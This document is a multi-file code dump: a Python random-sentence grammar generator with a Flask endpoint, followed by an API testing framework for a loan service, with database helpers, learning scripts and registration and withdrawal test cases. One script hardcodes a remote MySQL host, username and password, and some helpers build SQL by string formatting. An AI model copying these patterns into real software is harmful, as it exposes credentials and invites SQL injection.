for chance in distribution:
prev = prev + chance
self.distribution.append(prev)
return self
def decide_prod(self):
if self.distribution:
return bisect_left(self.distribution, random())
return randint(0, len(self.productions) - 1)
def generate(self):
production = self.productions[self.decide_prod()]
if type(production) == Production:
output = production.generate()
else:
output = gen_token(production)
for proc in self.post_procs:
output = proc(output)
return output
def __repr__(self):
return self.productions.__repr__()
def gen_token(sym):
if type(sym) == str:
return sym
if type(sym) == Many:
return sym.generate()
return sym.generate() | {"/test.py": ["/symbols.py"], "/helpers.py": ["/grammar.py"], "/symbols.py": ["/grammar.py", "/helpers.py"], "/main.py": ["/symbols.py"]} |
53,999 | YuhanLiin/HtN-2017 | refs/heads/master | /symbols.py | from grammar import Rule, Many, Production, maybe
from helpers import pluralize_all, resolve_pronouns, replace_pronouns, replace_you, verbs_to_3rd, deleteIf, \
prevent_collection_repeat, format_quotes
from random import random
# Declarations
Verb, SpeakVerb, Adverb, Noun, Adjective, Name, NamePhrase, Subject3rd, Subject, IfPhrase, WhilePhrase, WhenPhrase, \
Conditional, Question, BasicStatement, Command, Sentence, Novel, Article, ArticlePlural, ObjectSingle, ObjectPlural, \
Statement, Object, Dialogue, Speech, SentenceOrSpeech, SubjectPlural, ObjectMulti, NounPhrase, NounPhraseSingle, \
NounPhrasePlural, PrepPhrase, Preposition = Rule.declare_all(34)
#import pdb; pdb.set_trace()
# Definitions
Verb.define('move', 'kick', 'hit', 'caress', 'shoot', 'program', 'punch', 'take', 'touch', 'have', 'stroke', 'nibble')
SpeakVerb.define('say', 'cry', 'shout', 'scream', 'laugh', 'whisper', 'mention', 'think', 'scribble')
Adverb.define('quickly', 'slowly', 'furiously', 'lovingly', 'unknowingly', 'happily', 'angrily')
Noun.define('bird', 'dog', 'dinosaur', 'force', 'Masterball', 'alien', 'dude', 'arrow', 'experience', 'demon', 'candy')
Adjective.define('large', 'tiny', 'crazy', 'psychopathic', 'blue', 'ancient', 'sad', 'angry', 'cheerful', 'lit', 'gold')
Name.define('Dio', 'Mr. Goose', 'Hackerman', 'Jojo', 'Luke')
Article.define('the', 'this', 'that', 'this one', 'that one', 'a', 'some')
ArticlePlural.define('the', 'these', 'those', 'many', 'some')
Preposition.define('of', 'from', 'in', 'by', 'with', 'without', 'within', 'inside', 'outside')
NamePhrase.define(Production(',', Name))
NounPhraseSingle.define(Production(Article, Many(Adjective, 0, 1), Noun))
NounPhrasePlural.define(Production(ArticlePlural, Many(Adjective, 0, 1), Noun.clone().transform(pluralize_all)))
NounPhrase.define(NounPhrasePlural, NounPhraseSingle)
PrepPhrase.define(Production(Preposition, NounPhrase))
Subject3rd.define(
Production(NounPhraseSingle, maybe(PrepPhrase)),
'he', 'she', 'it', Name
).set_distr(0.3, 0.1, 0.1, 0.2, 0.31)
SubjectPlural.define(
'you', 'they', 'we', 'y\'all',
Production(NounPhrasePlural, maybe(PrepPhrase))
).set_distr(0.15, 0.15, 0.15, 0.15, 0.41)
Subject.define(Production(
SubjectPlural, Many(Production(',', Rule().define(SubjectPlural, Subject3rd)), 0, 2).set_distr(0.7, 0.2, 0.1)
)).add_post(prevent_collection_repeat)
ObjectSingle.define(
Production(NounPhraseSingle, maybe(PrepPhrase)),
'you', 'her', 'it', 'me', 'him', Name,
).set_distr(0.3, 0.1, 0.1, 0.1, 0.1, 0.31)
ObjectPlural.define(
'you', 'them', 'y\'all', 'us',
Production(NounPhrasePlural, maybe(PrepPhrase)),
).set_distr(0.15, 0.15, 0.15, 0.15, 0.41)
ObjectMulti.define(Production(
ObjectPlural, Many(Production(',', Rule().define(ObjectPlural, ObjectSingle)), 0, 2).set_distr(0.7, 0.2, 0.1)
)).add_post(prevent_collection_repeat)
Object.define(ObjectMulti, ObjectSingle)
IfPhrase.define(
Production('if', BasicStatement),
Production('unless', BasicStatement),
)
WhenPhrase.define(Production('when', BasicStatement), Production('until', BasicStatement))
WhilePhrase.define(Production('while', BasicStatement), Production('as', BasicStatement))
Conditional.define(
Production(IfPhrase, maybe(WhilePhrase, 0.7, 0.3), maybe(WhenPhrase, 0.7, 0.3)),
Production(IfPhrase, maybe(WhenPhrase, 0.7, 0.3), maybe(WhilePhrase, 0.7, 0.3)),
Production(WhenPhrase, maybe(WhilePhrase, 0.7, 0.3), maybe(IfPhrase, 0.7, 0.3)),
Production(WhenPhrase, maybe(IfPhrase, 0.7, 0.3), maybe(WhilePhrase, 0.7, 0.3)),
Production(WhilePhrase, maybe(WhenPhrase, 0.7, 0.3), maybe(IfPhrase, 0.7, 0.3)),
Production(WhilePhrase, maybe(IfPhrase, 0.7, 0.3), maybe(WhenPhrase, 0.7, 0.3)),
)
Question.define(
Production(
maybe(Production(Conditional, ','), 0.7, 0.3),
'does', Subject3rd, Verb, Object, Many(Adverb, 0, 1),
maybe(Conditional, 0.7, 0.3),
).add_pre(replace_pronouns(2, 4)).add_pre(deleteIf(3, {'has', 'have'}, 5)),
Production(
maybe(Production(Conditional, ','), 0.7, 0.3),
'do', Subject, Verb, Object, Many(Adverb, 0, 1),
maybe(Conditional, 0.7, 0.3),
).add_pre(replace_pronouns(2, 4)).add_pre(deleteIf(3, {'has', 'have'}, 5)),
Production(
maybe(Production(Conditional, ','), 0.7, 0.3), 'am', 'I', ObjectSingle, maybe(Conditional, 0.7, 0.3),
).add_pre(replace_pronouns(2, 3)),
Production(
maybe(Production(Conditional, ','), 0.7, 0.3), 'is', Subject3rd, ObjectSingle, maybe(Conditional, 0.7, 0.3),
).add_pre(replace_pronouns(2, 3)),
Production(
maybe(Production(Conditional, ','), 0.7, 0.3), 'are', Subject, ObjectMulti, maybe(Conditional, 0.7, 0.3),
).add_pre(replace_pronouns(2, 3)),
"Why", "What is this", 'How the hell'
).set_distr(0.2, 0.2, 0.1001, 0.1, 0.1, 0.1, 0.1)
BasicStatement.define(
Production(
Subject, Many(Adverb, 0, 1), Verb, Object,
).add_pre(replace_pronouns(0, 3)).add_pre(deleteIf(2, {'has', 'have'}, 1)),
Production(
Subject3rd, Many(Adverb, 0, 1), Verb.clone().transform(verbs_to_3rd), Object,
).add_pre(replace_pronouns(0, 3)).add_pre(deleteIf(2, {'has', 'have'}, 1)),
Production('I', 'am', ObjectSingle),
Production(Subject, 'are', ObjectMulti).add_pre(replace_pronouns(0, 2)),
Production(Subject3rd, 'is', ObjectSingle).add_pre(replace_pronouns(0, 2)),
).set_distr(0.38, 0.38, 0.05, 0.1, 0.1
).add_post(
lambda s: s.replace('it is', 'it\'s').replace('they are', 'they\'re').replace('we are', 'we\'re')
if random() > 0.5 else s
)
Statement.define(Production(maybe(Production(Conditional, ','), 0.7, 0.3), BasicStatement, maybe(Conditional, 0.7, 0.3)))
Command.define(
Production(
maybe(Production(Conditional, ','), 0.7, 0.3),
Verb, Object, Many(Adverb, 0, 1),
maybe(Conditional, 0.7, 0.3), Many(NamePhrase, 0, 1),
).add_pre(replace_you(2)).add_pre(deleteIf(1, {'has', 'have'}, 3))
)
Dialogue.define(
Production(Sentence),
Production(Many("muda", 3, 10), 'MUDA!'),
Production(Many("ora", 3, 10), 'ORA!'),
Production(Many("ha", 5, 12), '!'),
).add_post(lambda s: s[0].upper() + s[1:]).set_distr(0.4, 0.2, 0.2, 0.2)
DialogueBefore = Dialogue.clone().add_post(lambda s: s.replace('.', ','))
Speech.define(
Production(Subject, maybe(Adverb), SpeakVerb, '"', Dialogue, '"',),
Production(Subject3rd, maybe(Adverb), SpeakVerb.clone().transform(verbs_to_3rd), '"', Dialogue, '"',),
Production('"', DialogueBefore, '"', Subject, SpeakVerb, '.'),
Production('"', DialogueBefore, '"', Subject3rd, SpeakVerb.clone().transform(verbs_to_3rd), '.'),
).add_post(lambda s: s[0].upper() + s[1:]).add_post(format_quotes)
Sentence.define(
Production(Statement, Rule().define('.', '!').set_distr(0.71, 0.3)),
Production(Question, '?'),
Production(Command, Rule().define('!', '.').set_distr(0.71, 0.3)),
).set_distr(0.5, 0.25, 0.25)
SentenceOrSpeech.define(Sentence, Speech).set_distr(0.61, 0.4).add_post(lambda s: s[0].upper() + s[1:])
Novel.define(Many(SentenceOrSpeech, 1, 10)).add_post(
lambda s: s.replace(' ,', ',').replace(' .', '.').replace(' !', '!').replace(' ?', '?')
)
| {"/test.py": ["/symbols.py"], "/helpers.py": ["/grammar.py"], "/symbols.py": ["/grammar.py", "/helpers.py"], "/main.py": ["/symbols.py"]} |
54,000 | YuhanLiin/HtN-2017 | refs/heads/master | /main.py | from symbols import Novel
import os
from flask import Flask
app = Flask(__name__)
dir = os.path.dirname(os.path.realpath(__file__))
@app.route("/")
def index():
with open(os.path.join(dir, 'templates', 'index.html')) as html:
return html.read()
@app.route("/api")
def api():
return Novel.generate()
if __name__ == '__main__':
app.debug = True
port = int(os.environ.get("PORT", 5000))
app.run(host='0.0.0.0', port=port) | {"/test.py": ["/symbols.py"], "/helpers.py": ["/grammar.py"], "/symbols.py": ["/grammar.py", "/helpers.py"], "/main.py": ["/symbols.py"]} |
54,001 | tylhhh/API_qianchengdai | refs/heads/master | /Common/handle_phone.py | import random
from Common.handle_db import HandleDB
from Common.handle_requests import send_requests
from Common.handle_config import conf
prefix = [133, 149, 153, 173, 177, 180, 181, 189, 199,
130, 131, 132, 145, 155, 156, 166, 171, 175, 176, 185, 186, 166,
134, 135, 136, 137, 138, 139, 147, 150, 151, 152, 157, 158, 159, 172, 178, 182, 183, 184, 187, 188, 198
]
def user_phone():
index = random.randint(0, len(prefix)-1)
phone = str(prefix[index])
for _ in range(0,8):
phone += str(random.randint(0,9)) # 转换成字符串才能直接拼接
return phone
def get_new_phone():
db = HandleDB()
while True:
phone = user_phone()
sql = 'select * from member where mobile_phone="{}"'.format(phone)
count = db.get_count(sql)
if count == 0:
db.close()
return phone
def get_old_phone():
user = conf.get("general_user","user")
passwd = conf.get("general_user","passwd")
send_requests("POST","member/register",{"mobile_phone":user,"pwd":passwd})
return user,passwd
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,002 | tylhhh/API_qianchengdai | refs/heads/master | /Common/handle_path.py | import os
base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# 测试用例路径
cases_dir = os.path.join(base_dir, "TestCases")
# 测试数据的路径
datas_dir = os.path.join(base_dir,"TestDatas")
# 测试报告
reports_dir = os.path.join(base_dir,"Outputs\\reports")
# 日志的路径
logs_dir = os.path.join(base_dir,"Outputs\\logs")
# 配置文件路径
conf_dir = os.path.join(base_dir,"Conf")
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,003 | tylhhh/API_qianchengdai | refs/heads/master | /Common/handle_db.py | import pymysql
from Common.handle_config import conf
class HandleDB:
def __init__(self):
# 1、连接数据库
self.conn = pymysql.connect(
host=conf.get("mysql","host"),
port=conf.getint("mysql","port"),
user=conf.get("mysql","user"),
password=conf.get("mysql","password"),
database=conf.get("mysql","database"),
charset="utf8",
cursorclass=pymysql.cursors.DictCursor
)
# 2、创建游标
self.cur = self.conn.cursor()
def select_one_data(self,sql):
self.conn.commit()
self.cur.execute(sql)
return self.cur.fetchone()
def select_all_data(self,sql):
self.conn.commit()
self.cur.execute(sql)
return self.cur.fetchall()
def get_count(self,sql):
self.conn.commit()
return self.cur.execute(sql)
def update(self,sql):
"""
对数据库进行增、删、改的操作。
:param sql:
:return:
"""
self.cur.execute(sql)
self.conn.commit()
def close(self):
self.cur.close()
self.conn.close()
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,004 | tylhhh/API_qianchengdai | refs/heads/master | /扩展学习/13_上传文件.py | """
requests模块传参有四种方式：params、data、json和files
params：传递查询字符串参数（常用于get请求）
data：传递表单类型的参数（参数类型：Content-Type:application/x-www-form-urlencoded）
json：传递json类型的参数（参数类型：Content-Type:application/json）
files：用于上传文件（参数类型： content-type:multipart/form-data）
files为字典类型，上传的文件为键值对的形式，参数名作为键
参数值是一个元组，内容为一下格式（文件名，打开的文件流，文件类型）
注意：除了上传的文件，接口其他参数不能放入files中
系统为请求头设置了正确边界，边界是被自动加到请求头的，所以我们不用再自己定义Content-Type请求头设置
"""
import requests
def uploadImages(file_path,filename):
url="http://elm.cangdu.org/v1/addimg/food"
headers = {"Content-Type":"multipart/form-data"}
# 上传的文件参数
data = {"file":(filename,open(file_path,"rb"),'image/jpeg')}
res = requests.post(url=url,files=data)
print(res.json())
if __name__ == '__main__':
case = {"file_path": "E:\Downloads\日本1.png","filename":"真龙霸业.png"}
uploadImages(case["file_path"],case["filename"])
# data={"file":("真龙霸业.png",open("E:\Downloads\日本1.png","rb"),'image/jpeg')}
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,005 | tylhhh/API_qianchengdai | refs/heads/master | /扩展学习/01_excel数据处理.py | """
openpyxl是读写Excel的Python库，是一个比较综合的工具，能够同时读取和修改Excel文档
openpyxl中有三个不同层次的类，每一个类都有各自的属性和方法：
workbook是一个Excel工作表
worksheet是工作表中的表单
cell是表单中的单元格
row:行
column：列
步骤：
1、导入load_workbook模块
2、打开数据文件，Workbook对象 -- wb = load_workbook("文件路径")
3、根据表单名称选择表单 -- sh = wb["表单名称"]
4、遍历第一行的每一列
5、遍历表单中除去第一行的每一行
6、关闭文件
"""
from openpyxl import load_workbook
# 打开Excel
wb = load_workbook("api_cases.xlsx")
# 获取worksheet
sheets = wb.worksheets
print(sheets)
# 定位表单
sheet_login = wb["登陆"]
# 定位单位格
data = sheet_login.cell(2,5).value # 下标从1开始
print(data)
print(type(data)) # 输出str
# 将str类型转化为原本的类型dict：eval(data)
print(type(eval(data)))
# 通过active获取当前选中的sheet
sheet = wb.active
print(sheet)
# 获取表单的最大列和最大行，即总行数和总列数
print(sheet_login.max_row)
print(sheet_login.max_column)
# 按行获取表单的所有数据
datas = sheet_login.rows
# 转化成列表，每一行是一个元组，元组里面的成员是cell对象
print(list(sheet_login.rows))
print(list(sheet_login.rows)[0]) # 表单第一列
print(list(sheet_login.rows)[0][0].value) # 表单第一列第一列的值
# 遍历第一行
title = []
for item in list(sheet_login.rows)[0]:
title.append(item.value)
print(title)
# 遍历表单中除去第一行的每一行
all_datas = []
for row in list(sheet_login.rows)[1:]:
values = []
for cell in row:
values.append(cell.value)
res = dict(zip(title,values)) # title和每一行数据，打包成字典
all_datas.append(res) # 每一条用例打包成字典添加到列表中
print(all_datas)
# 关闭文件
wb.close()
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,006 | tylhhh/API_qianchengdai | refs/heads/master | /扩展学习/09_数据库操作.py | """
对于支持事务的数据库，在Python数据库中，当游标创建时，就自动开始了一个隐形对的数据库事务
commit()方法游标的所有更新操作
rollback()方法回滚当前游标的所有操作
每一个方法都开始了一个新的事务
"""
import pymysql
config = {
"host":"api.lemonban.com",
"port":3306,
"user":"future",
"password":"123456",
"database":"futureloan",
"charset":"utf8",
"cursorclass":pymysql.cursors.DictCursor # 将默认的元组格式转换成字典格式输出
}
# 打开数据库连接
conn = pymysql.connect(**config)
# 创建游标
cursor = conn.cursor()
sql = 'select * from member limit 3;'
try:
# 执行sql语句
cursor.execute(sql)
# 提交到数据库执行
conn.commit()
# 获取单条数据
one = cursor.fetchone()
print(one)
# 获取所有记录列表
results = cursor.fetchall()
print(results)
except:
# 发生错误时回滚
conn.rollback()
# 关闭数据库，关闭游标
conn.close()
cursor.close()
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,007 | tylhhh/API_qianchengdai | refs/heads/master | /TestCases/test_withdraw.py |
import unittest,json
from Common.handle_excel import HandleExcel
from Common.handle_path import datas_dir
from Common.myddt import ddt, data
from Common.handle_db import HandleDB
from Common.handle_log import logger
from Common.handle_phone import get_new_phone,get_old_phone
from Common.handle_data import replace_data,EnvData,clear_EnvData_atts,replace_case_by_regular
from Common.handle_requests import send_requests
from jsonpath import jsonpath
get_excel = HandleExcel(datas_dir+"/api_cases.xlsx","提现")
cases = get_excel.read_all_datas()
get_excel.close_file()
db = HandleDB()
@ddt
class TestWithdraw(unittest.TestCase):
@classmethod
def setUpClass(cls):
logger.info("***************************登录前置*****************************************")
clear_EnvData_atts() # 清理EnvData里设置的属性
user,passwd = get_old_phone()
resp = send_requests("POST", "member/login", {"mobile_phone": user, "pwd": passwd})
setattr(EnvData, "member_id", jsonpath(resp.json(),"$..id")[0])
setattr(EnvData, "token", jsonpath(resp.json(), "$..token")[0])
def tearDown(self) -> None:
if hasattr(EnvData, "money"):
delattr(EnvData, "money")
@data(*cases)
def test_withdraw(self,case):
logger.info("***************执行第{}条用例：{}*********************".format(case["case_id"], case["title"]))
if case["request_data"].find("#member_id#") != -1:
case = replace_case_by_regular(case)
# case = replace_data(case,"#member_id#", str(EnvData.member_id))
if case["check_sql"]:
withdraw_before_money = db.select_one_data(case["check_sql"])["leave_amount"]
logger.info("提现前用户余额：{}".format(withdraw_before_money))
withdraw_money = json.loads(case["request_data"])["amount"]
logger.info("用户提现的金额:{}".format(withdraw_money))
expected_money = round(float(withdraw_before_money) - withdraw_money,2)
logger.info("提现后，期望的金额：{}".format(expected_money))
# case = replace_data(case, "#money#", str(expected_money))
setattr(EnvData, "money", str(expected_money))
case = replace_case_by_regular(case)
resp = send_requests(case["method"],case["url"],case["request_data"],token=EnvData.token)
expected = json.loads(case["expected"])
try:
self.assertEqual(resp.json()["code"],expected["code"])
self.assertEqual(resp.json()["msg"], expected["msg"])
if case["check_sql"]:
self.assertEqual(resp.json()["data"]["id"], expected["data"]["id"])
self.assertEqual(resp.json()["data"]["leave_amount"], expected["data"]["leave_amount"])
withdraw_after_money = db.select_one_data(case["check_sql"])["leave_amount"]
logger.info("提现后的用户余额：{}".format(withdraw_after_money))
self.assertEqual("{:.2f}".format(expected["data"]["leave_amount"]),"{:.2f}".format(float(withdraw_after_money)))
except AssertionError as e:
logger.exception("断言失败!")
raise e
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,008 | tylhhh/API_qianchengdai | refs/heads/master | /TestCases/test_register.py |
import unittest
from Common.handle_excel import HandleExcel
from Common.handle_path import datas_dir
from Common.myddt import ddt, data
from Common.handle_db import HandleDB
from Common.handle_log import logger
from Common.handle_phone import get_new_phone
from Common.handle_data import replace_data
from Common.handle_requests import send_requests
get_excel = HandleExcel(datas_dir+"/api_cases.xlsx","注册")
cases = get_excel.read_all_datas()
get_excel.close_file()
db = HandleDB()
@ddt
class TestRegister(unittest.TestCase):
@classmethod
def setUpClass(cls):
logger.info("***************************注册用例开始*****************************************")
@classmethod
def tearDownClass(cls):
logger.info("***************************注册用例结束*****************************************")
@data(*cases)
def test_register(self,case):
logger.info("***************执行第{}条用例：{}*********************".format(case["id"], case["title"]))
if case["request_data"].find("#phone#") != -1:
new_phone = get_new_phone()
case = replace_data(case,"#phone#", new_phone)
resp = send_requests(case["method"],case["url"],case["request_data"])
expected = eval(case["expected"])
logger.info("用例的期望结果为：{}".format(case["expected"]))
try:
self.assertEqual(resp.json()["code"],expected["code"])
self.assertEqual(resp.json()["msg"], expected["msg"])
# 数据库校验
if case["check_sql"]:
result = db.select_one_data(case["check_sql"])
self.assertIsNotNone(result)
except AssertionError as e:
logger.exception("断言失败!")
raise e
